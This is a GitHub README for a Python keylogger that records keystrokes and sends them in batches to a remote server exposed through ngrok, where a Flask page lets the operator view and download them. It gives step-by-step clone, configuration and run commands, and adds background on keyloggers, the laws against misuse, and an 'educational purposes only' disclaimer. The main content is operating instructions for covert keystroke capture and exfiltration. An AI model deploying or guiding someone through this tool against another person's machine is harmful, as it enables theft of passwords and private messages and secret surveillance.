Welcome to the Keylogger Project! This project demonstrates how a keylogger operates. Keyloggers are tools that can record keystrokes made on a computer or device, capturing everything from passwords to personal messages. While they can be used for legitimate purposes, they are also often used by malicious actors for cybercrime.
/keylogger-project
βββ /src # Source code
β βββ keylogger.py # Main keylogger script
β βββ server.py # Web server for viewing logs
βββ /config # Configuration files
β βββ config.json.example # Configuration template
β βββ .env.example # Environment variables template
βββ /logs # Log files directory (created automatically)
βββ /docs # Documentation
β βββ manual.sh # Educational information script
βββ /scripts # Utility scripts
β βββ create-release.sh # Script to create releases
βββ /github # GitHub workflows and configs
βββ setup.sh # Setup script
βββ requirements.txt # Python dependencies
βββ README.md # This file
βββ LICENSE # License information
βββ SECURITY.md # Security policy
βββ DISCLAIMER.md # Legal disclaimer
βββ CONTRIBUTORS.md # Contributors list
- Python 3.7 or higher
- pip (Python package manager)
- ngrok (for exposing the web server, optional)
-
Clone the repository
git clone https://github.com/Stalin-143/Keylogger.git cd Keylogger -
Run the setup script
./setup.sh
This will:
- Check for Python installation
- Optionally create a virtual environment
- Install required dependencies
- Set up configuration files
-
Configure the application
Edit
config/config.json:{ "keylogger": { "log_file_path": "logs/keylog.txt", "batch_size": 10, "server_url": "https://your-ngrok-url.ngrok-free.app" }, "web_server": { "log_file_path": "logs/keylog.txt", "host": "0.0.0.0", "port": 5000, "debug": false } } -
Set up authentication
Edit
config/.env:WEB_SERVER_USERNAME=admin WEB_SERVER_PASSWORD=your_secure_password_here FLASK_DEBUG=False
# Using default configuration
python3 src/server.py
# Using custom configuration
python3 src/server.py --config config/config.json --port 8080
# Load environment variables
source config/.env # or use 'export' for each variable
python3 src/server.pyThe web server will start and be accessible at http://localhost:5000 (or your configured port).
If you want to access the server remotely:
# Install ngrok from https://ngrok.com/download
ngrok http 5000Copy the ngrok URL (e.g., https://xxxx-xxxx.ngrok-free.app) and update it in config/config.json.
# Using default configuration
python3 src/keylogger.py
# Using custom configuration
python3 src/keylogger.py --config config/config.json
# With command-line overrides
python3 src/keylogger.py --server-url https://your-ngrok-url.ngrok-free.app --log-file logs/custom.txtPress ESC to stop the keylogger.
Open your browser and navigate to:
- Local:
http://localhost:5000 - Remote:
https://your-ngrok-url.ngrok-free.app
Login with your configured credentials and view/download the logs.
A Keylogger is a software or hardware tool designed to record every keystroke made by a user on a computer or device. It can capture sensitive information such as:
- Usernames
- Passwords
- Credit card information
- Private messages
Keyloggers are typically used by attackers to steal personal data or spy on users without their knowledge.
There are two main types of keyloggers:
- Software Keyloggers: These run in the background on a computer, recording keystrokes and often sending the data to an attacker remotely.
- Hardware Keyloggers: These are physical devices that are plugged into a computer between the keyboard and the computer. They can capture keystrokes without needing software.
Hackers use keyloggers for several reasons:
- Stealing Personal Information: Keyloggers can capture sensitive information such as usernames, passwords, and bank details.
- Credential Harvesting: Attackers can use keyloggers to gather login credentials for unauthorized access.
- Spyware: Keyloggers allow hackers to secretly monitor a user's activity without their consent.
- Social Engineering: Keyloggers help attackers gather information to manipulate targets.
- Advanced Persistent Threats (APTs): Keyloggers are used as part of long-term cyberattacks to monitor and steal sensitive data.
- Configuration Management: Use JSON config files and environment variables
- Command-line Interface: Flexible CLI with argument parsing
- Batch Processing: Send logs in batches to reduce network overhead
- Error Handling: Robust error handling and logging
- Web Interface: View and download logs through a secure web interface
- Basic Authentication: Password-protected web interface
Using keyloggers for malicious purposes is illegal in most countries. Keyloggers are often used in cybercrime and identity theft. Here are some of the key laws regarding keyloggers:
- Computer Fraud and Abuse Act (CFAA) in the U.S. makes unauthorized access to computer systems illegal.
- Wiretap Act criminalizes intercepting communications without consent.
- General Data Protection Regulation (GDPR) in Europe requires explicit consent to collect personal data.
- Cybersecurity Laws in many countries make hacking, data theft, and unauthorized surveillance punishable by law.
- Imprisonment: In many jurisdictions, unauthorized use of keyloggers can result in severe criminal charges.
- Fines: Convicted individuals may face hefty fines, especially if the data stolen is used for financial gain.
- Reputational Damage: Being caught using a keylogger illegally can lead to significant harm to one's reputation.
While keyloggers are often associated with malicious hacking, they can have legitimate uses:
- Parental Control: Parents use keyloggers to monitor their children's online activities.
- Employee Monitoring: Employers may monitor their employees to ensure compliance with company policies.
- Security Testing: Ethical hackers use keyloggers as part of penetration testing to identify vulnerabilities.
It is essential that explicit consent is obtained before using keyloggers for any purpose. Always ensure compliance with local laws and ethical guidelines.
In the realm of ethical hacking and penetration testing, keyloggers are used to test the security of a system. Ethical hackers might deploy keyloggers as part of a broader security assessment. The goal is to discover vulnerabilities in a system and ensure sensitive data is protected.
- Penetration Testing: Keyloggers help identify security weaknesses and prevent future breaches.
- System Auditing: Businesses can use keyloggers to monitor user behavior and detect malicious activities.
Keyloggers pose significant risks to privacy and security:
- Privacy Violations: Keyloggers record everything typed, exposing personal data to unauthorized parties.
- Identity Theft: If hackers steal login credentials or other personal information, it can lead to identity theft or financial fraud.
- Cyberattacks: Keyloggers can be used as part of larger phishing or malware attacks.
- Python 3.7+
- Flask 2.2.5
- pynput 1.7.6
- requests 2.32.4
The project follows a modular structure:
/src- Contains the main application code/config- Configuration files and templates/logs- Log files (auto-created, git-ignored)/docs- Documentation and educational materials
Contributions are welcome! Please make sure to follow ethical guidelines and legal standards when contributing to this project.
See our Contributors Hall of Fame to view all the amazing people who have contributed to this project! β¨
Releases can be created in three ways:
-
Using the release script (recommended):
./scripts/create-release.sh # Or with a specific version: ./scripts/create-release.sh v1.0.0This interactive script validates the version, creates a tag, and pushes it.
-
Using Git tags:
git tag -a v1.0.0 -m "Release v1.0.0" git push origin v1.0.0This automatically triggers the release workflow.
-
Manual workflow dispatch:
- Go to Actions β Create Release
- Click "Run workflow"
- Enter the version (e.g.,
v1.0.0)
See CHANGELOG.md for version history.
This project is licensed under the License
This project is intended for educational purposes only. Unauthorized use of keyloggers for malicious activities is illegal and punishable by law. Always obtain explicit consent before deploying monitoring tools and ensure compliance with local and international laws.
Disclaimer: This project is intended for educational purposes only. Unauthorized use of keyloggers is illegal.
If you encounter any issues or have questions:
- Check the SECURITY.md for security-related concerns
- Read the DISCLAIMER.md for legal information
- Open an issue on GitHub
- GitHub Repository: Stalin-143
- Educational Script: Run
./docs/manual.shfor detailed information - Related Articles on Ethical Hacking and Cybersecurity
Remember: Always use this tool responsibly and ethically. Obtain proper authorization before using any monitoring software.
